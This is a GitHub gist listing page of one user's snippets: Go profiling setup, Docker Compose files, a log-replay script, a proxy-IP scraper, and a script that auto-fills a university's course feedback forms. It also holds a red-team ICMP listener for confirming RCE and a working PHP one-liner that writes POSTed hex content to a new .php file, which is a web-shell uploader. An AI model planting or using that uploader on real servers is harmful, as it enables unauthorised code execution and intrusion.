Skip to content

Instantly share code, notes, and snippets.

View teebow1e's full-sized avatar
💖
learning something..

Trung Tran teebow1e

💖
learning something..
View GitHub Profile
@teebow1e
teebow1e / content.md
Created August 8, 2024 16:01
[Golang] Profiling

Cấu hình pprof

  1. Thêm đoạn code sau vào chương trình:
import (
    _ "net/http/pprof"
)

func main() {
    go func() {
 log.Println(http.ListenAndServe("localhost:6060", nil))
@teebow1e
teebow1e / print.py
Created July 26, 2024 16:59
Cool brute-forcing effect print python
for i in range(1,3000000):
print(f"\r{i}", end="")
@teebow1e
teebow1e / icmp.sh
Last active July 12, 2024 02:49
[Redteam Operation] listen for icmp connection (useful when test RCE)
#!/bin/bash
sudo tcpdump -ni tun0 icmp
# tun0 can be changed with your internet-facing interface
@teebow1e
teebow1e / script.sh
Created June 20, 2024 17:36
simulate a webserver writing log to a file
#!/bin/bash
SOURCE_FILE="access_log_1000.log"
TARGET_FILE="/mnt/c/Users/teebow1e/IdeaProjects/project1-soict/webserver.log"
#TARGET_FILE="target.log"
CHUNK_SIZE=5
while true; do
chunk=$(head -n "$CHUNK_SIZE" "$SOURCE_FILE")
if [ -n "$chunk" ]; then
@teebow1e
teebow1e / docker-compose.yml
Last active July 24, 2024 18:27
[Project I - SoICT] Docker Compose file for jenkins + sonarqube
version: '3.6'
services:
jenkins:
restart: on-failure
container_name: jenkins
image: jenkins/jenkins:latest
volumes:
- ./jenkins/data:/var/jenkins_home
- ./jenkins/docker-certs:/certs/client
ports:
@teebow1e
teebow1e / script_v1.js
Last active July 29, 2024 17:13
[HUST] Quickly pass all HUST's course feedback form in ctt.hust.edu.vn
// How to use
// Open DevTools
// Paste this code
// The website will automatically redirect, wait until page loads, paste
// Keep doing until there is no more feedback form
// TODO: Auto redirect and run until detect finish msg
// Script V1: Mass choosing, result can be conflict
function runSurvey() {
@teebow1e
teebow1e / a.sh
Created June 3, 2024 06:50
get some ip addr of specific region (free proxy IP)
#!/bin/bash
curl "https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&country=vn&proxy_format=protocolipport&format=text&timeout=20000" -s | sed -E 's#^(http|socks4|https|socks5)://##' | cut -d':' -f1
@teebow1e
teebow1e / mysql_adminer_docker.yml
Created June 1, 2024 16:22
mysql w/ adminer docker compose
version: '3.7'
services:
mysql_db_container:
image: mysql:latest
environment:
MYSQL_ROOT_PASSWORD: rootpassword
ports:
- 33069:3306
adminer_container:
image: adminer:latest
@teebow1e
teebow1e / content.md
Last active April 25, 2024 13:15
php oneliner upload file shell

## PHP Upload a file Using base64-encoded content

base64_decode makes lengthy base64-blob to fail and corrupt the whole file.

PHP Upload file Using hex2bin

<?php isset($_POST['a']) && ($decoded_string = hex2bin($_POST['a'])) !== false && ($file_path = './' . 'hzhz' . '.php') && ($file = fopen($file_path, 'w')) && (fwrite($file, $decoded_string) !== false) ? fclose($file) && print('File created successfully: ' . basename($file_path)) : print('Error: Unable to decode hex string or create file.'); ?>

PHP Upload a file Using $_FILES